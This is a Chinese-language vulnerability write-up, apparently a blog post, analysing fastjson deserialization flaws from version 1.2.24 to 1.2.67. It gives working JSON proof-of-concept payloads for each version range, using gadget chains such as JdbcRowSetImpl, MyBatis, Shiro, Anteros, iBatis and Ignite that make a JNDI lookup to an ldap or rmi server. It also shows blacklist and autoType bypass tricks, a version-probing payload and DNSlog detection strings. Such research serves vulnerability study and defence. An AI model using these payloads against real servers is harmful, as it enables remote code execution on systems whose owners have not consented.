fastjson 1.2.24-1.2.67 漏洞分析,附Poc分析

fastjson各版本poc研究

FastJson前置知识

fastjson反序列化JSON字符串时,会自动调用getter和setter

关于fastjson的一些特性解释

fastjson官方文档(中文)

JNI字符

Student类

package com.example.fastjson_demo.Example;

/*
 * 一个用于演示的学生类,写好了get与set方法
 * */
public class Student {

    private String name; /* 姓名 */
    private int age;     /* 年龄 */
    private String sex;  /* 性别 */

    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public int getAge() {
        return age;
    }
    public void setAge(int age) {
        this.age = age;
    }
    public String getSex() {
        return sex;
    }
    public void setSex(String sex) {
        this.sex = sex;
    }

}

测试代码

package com.example.fastjson_demo.Example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.serializer.SerializerFeature;

import java.net.MalformedURLException;
import java.net.URL;

public class Test {
    /* fastjson基本使用 */
    public static void main(String[] args) throws MalformedURLException {
        /* 序列化 */
        Student student = new Student();
        student.setAge(18);
        student.setName("keleth");
        student.setSex("男");
        Serializ(student);

        /* 反序列化 */
        String jsonStr = "{\"age\":18,\"name\":\"keleth\",\"sex\":\"男\"}";
        unSerializ(jsonStr);

    }

    private static void Serializ(Student student) {
        /*序列化为字符串并输出*/
        String jsonStr = JSONObject.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(jsonStr);
    }

    private static void unSerializ(String jsonStr) {

        Student student = JSON.parseObject(jsonStr, Student.class);
        System.out.println(student.getAge());
        System.out.println(student.getName());
        System.out.println(student.getSex());
    }
    
    // 取得json中某个key的值
    // JSONObject.parseObject(ObjName).getString("name")
    // 还原输出json
    // JSONObject.parseObject(ObjName).toJSONString();
    // 构造poc时添加@type属性
    // JSONObject.toJSONString(student, SerializerFeature.WriteClassName)
    
}

1.2.24版本

1.2.24版本默认不开启AutoType,1.2.24版本以后都默认开启AutoType

开启代码:(低于1.2.24版本不存在getGlobalInstance()方法)

// 添加白名单
ParserConfig.getGlobalInstance().addAccept("java.lang");
// 开启AutoType
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

Poc例:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1/123","autoCommit":true}

com.sun.rowset.JdbcRowSetImpl链分析

fastjson所有的链都很巧妙,比如上面这个最开始的利用链

跟进一下,fastjson默认会调用gettersetter方法,所以直接找到

setDataSourceName()
setAutoCommit()

fastjson会对指定@type类型的类直接进行反序列化,跟进看一下readObject,没有观察到危险操作,回到上面两个方法,进行跟踪

在这里插入图片描述

setDataSourceName(),继续跟进super

在这里插入图片描述

当传入的值不为空and不为null时,赋值给dataSource

在这里插入图片描述

回到setAutoCommit(),初次链接时,conn为空,也就是会步入到else中,进行连接。

在这里插入图片描述

跟进connect()函数,看到326行直接lookup,也就是,这里的dataSourceName如果可以控制,就造成了JNDI注入漏洞。

在这里插入图片描述

在上面已经传入,并且可控,所以造成JNDI注入,达到RCE的目的。

开启Debug模式跟进一下。

在这几处分别打上断点进行调试,查看是否符合分析。

首先传入setDataSourceName()

然后进行autoCommit

由于dataSource现在已经有了值,所以直接走到下一步connect()

lookup加载dataSource造成JNDI注入

1.2.25版本-1.2.41版本

发现1.2.25版本增加了黑名单限制,autoType默认为关闭选项。

查看代码,从checkAutoType跟进

发现增加黑白名单限制,但白名单为空,应该是要手动添加


在这里插入图片描述

所以这里的绕过重点应该在类名黑名单(个人理解)

autoType关闭,检测是否在黑名单中,如果在黑名单中,报错退出。

接着往下看,这个版本的白名单默认为空。。

在这里插入图片描述

继续往下看,但是是是需要开启autoType才能利用的。

在这里插入图片描述

跟进loadClass

有意思,如果@type开头为L结尾为;,就可以绕过这个检查。

开启autoType
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

开启autoType后,最终执行的地方是在这里

com.sun.rowset.JdbcRowSetImpl链绕过限制(需开启autoType)

测试在1.2.25-1.2.41中都可使用

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://127.0.0.1/123", "autoCommit":true}

在这里插入图片描述

成功

开启autoType但未对1.2.24poc进行处理会检测黑名单,所以说这里要绕过黑名单检查

在这里插入图片描述

1.2.42版本分析

在开启AutoType的情况下,这个poc不可以使用了,来跟进看一下

{        
	"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",      
	"dataSourceName":"ldap://127.0.0.1/123",      
	"autoCommit":true
}

在这里插入图片描述

黑名单设置为了HashCode匹配

在这里插入图片描述
autoType首先对传入的@type做了一次匹配,如果开头与结尾为L;,则过滤掉该字符

在这里插入图片描述

hash是取前三个字符,在这里为LL过滤一次后为L,匹配不到黑名单,仍可以绕过。

在这里插入图片描述

最后的执行点在这里,开启autoType的情况下

在这里插入图片描述

com.sun.rowset.JdbcRowSetImpl链绕过(需开启autoType)

这里的typeName为LL但是不影响,因为loadClass是递归删除的,不删完不执行。

{       
	"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
	"dataSourceName":"ldap://127.0.0.1/123",
	"autoCommit":true
}

在这里插入图片描述

1.2.43版本

尝试1.2.42版本POC失败
在这里插入图片描述

继续跟进分析

在这里插入图片描述

com.sun.rowset.JdbcRowSetImpl链绕过(需开启autoType)

LL;;不可以使用了

还有一个[可以用,尝试

根据错误修改POC

在这里插入图片描述

继续改

就成了。。。。。。。。6

poc通杀,1.2.24-1.2.431.2.25以上需开启autoType

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://127.0.0.1/123","autoCommit":true}

1.2.44版本-1.2.45版本

1.2.43版本poc被ban

在这里插入图片描述

跟进代码
在这里插入图片描述

开头为[的报错

开头结尾为L;的报错

现在的利用方式是开启autoType,然后找一条新的没有被检测的链子

看到网上有师傅给出了mybaits的链子

{
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{
        "data_source":"rmi://127.0.0.1/"
    }
}
        <dependency>
            <groupId>org.mybatis</groupId>
            <artifactId>mybatis</artifactId>
            <version>3.4.6</version>
        </dependency>

在这里插入图片描述

在1.2.46中加入了黑名单,也就是1.2.44与1.2.45可用

在这里插入图片描述

org.apache.ibatis.datasource.jndi.JndiDataSourceFactory链

{
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{
        "data_source":"ldap://127.0.0.1:1389/Basic/Command/calc"
    }
}

在这里插入图片描述

链分析

JndiDataSourceFactory jndiDataSourceFactory = new JndiDataSourceFactory();
Properties properties = new Properties();
properties.setProperty("data_source", "ldap://127.0.0.1:1389/Basic/Command/calc");
jndiDataSourceFactory.setProperties(properties);

小于等于1.2.47版本-无需开启autoType通杀

利用Class.class,突破autoType限制,1.2.47以下通杀

通杀低版本POC

可是默认autoType是关闭的,这里在网上看到一个大师傅的poc

https://github.com/safe6Sec/Fastjson

fastjson 1.2.9-1.2.47

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://127.0.0.1:8081/123.txt",
        "autoCommit":true
    }
}

2023-05-26 23:58 溜了,明天继续分析

应该是利用Class.class类比对的那里,来绕过autoType与黑名单限制(菜鸡勿喷)

使用Class突破autoType黑白名单限制

然后@type第一个类主体是Class,会进入到特殊的Class.class判断

在这里插入图片描述

然后会将strVal的类,put到这个mappings中,这样的话,com.sun.rowset.JdbcRowSetImpl就被加载到了mappings,也就是缓存中,

在这里插入图片描述

checkAutoType中,可以通过这个函数,检查class是否在基类中,因为在上面已经将恶意类加载到mappings中,所以这里条件符合,就可以通过autoType检查。

在这里插入图片描述

所以,构造成功,绕过autoType与黑名单限制

{
    "a":{
        "@type":"java.lang.Class",
        "val":"Lcom.sun.rowset.JdbcRowSetImpl;"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://127.0.0.1:8081/123.txt",
        "autoCommit":true
    }
}

在这里插入图片描述

其实这里是不用绕过的,直接用就可以,因为没有涉及到黑名单校验。

1.2.62版本-1.2.67版本

1.2.62版本,Class不会再往mappings中加载val,也就是上面的通杀poc不可用了


在这里插入图片描述

如果不为true,则不会缓存,默认为false。

利用链分析

黑名单绕过exp,需开启autoType

org.apache.xbean.propertyeditor.JndiConverter

1.2.62可用

<dependency>
	<groupId>org.apache.xbean</groupId>
	<artifactId>xbean-reflect</artifactId>
	<version>3.4</version>
</dependency>
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";
JndiConverter->父类AbstractConverter
	setAsText(String text)->
		toObject(String text)->
			toObjectImpl(String var1)->
				JndiConverter.toObjectImpl(String text)->
					lookup();
org.apache.shiro.jndi.JndiObjectFactory

1.2.66可用

<dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-core</artifactId>
    <version>1.7.1</version>
</dependency>
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}

br.com.anteros.dbcp.AnterosDBCPConfig

1.2.66可用

<dependency>
	<groupId>br.com.anteros</groupId>
	<artifactId>Anteros-Core</artifactId>
	<version>1.2.6</version>
</dependency>
<dependency>
	<groupId>br.com.anteros</groupId>
	<artifactId>Anteros-DBCP</artifactId>
	<version>1.0.1</version>
</dependency>
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}

br.com.anteros.dbcp.AnterosDBCPConfig


在这里插入图片描述
lookup执行

com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig

1.2.66可用

<dependency>
	<groupId>org.apache.ibatis</groupId>
	<artifactId>ibatis-sqlmap</artifactId>
	<version>2.3.4.726</version>
</dependency>
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}

在这里插入图片描述

org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup

1.2.67可用

<dependency>
	<groupId>org.apache.ignite</groupId>
	<artifactId>ignite-core</artifactId>
	<version>2.11.0</version>
</dependency>
<dependency>
	<groupId>org.apache.ignite</groupId>
	<artifactId>ignite-jta</artifactId>
	<version>2.11.0</version>
</dependency>
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://127.0.0.1:1389/123"], "tm": {"$ref":"$.tm"}}
        CacheJndiTmLookup cacheJndiTmLookup = new CacheJndiTmLookup();
        List<String> list = new ArrayList<>();
        list.add("ldap://127.0.0.1:1389/Basic/Command/calc");
        cacheJndiTmLookup.setJndiNames(list);
        cacheJndiTmLookup.getTm();
        String jsonStr = JSONObject.toJSONString(cacheJndiTmLookup, SerializerFeature.WriteClassName);
        System.out.println(jsonStr);

父类

调用无参方法

"tm": {"$ref":"$.tm"}

1.2.68以后版本开新文章分析。

显示具体版本号POC

{"@type":"[com.alibaba.fastjson.parser.ParserConfig"[,"12":"123",}

一些绕过的写法

{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}

{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}

Set[{"@type":"java.net.URL","val":"dnslog"}]

参考文章

1.2.25-1.2.47版本分析

1.2.68版本分析

FastJson Hash黑名单

FastJson涨姿势Poc合集

关于fastjson的一些特性解释

fastjson官方文档(中文)

JNI字符

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值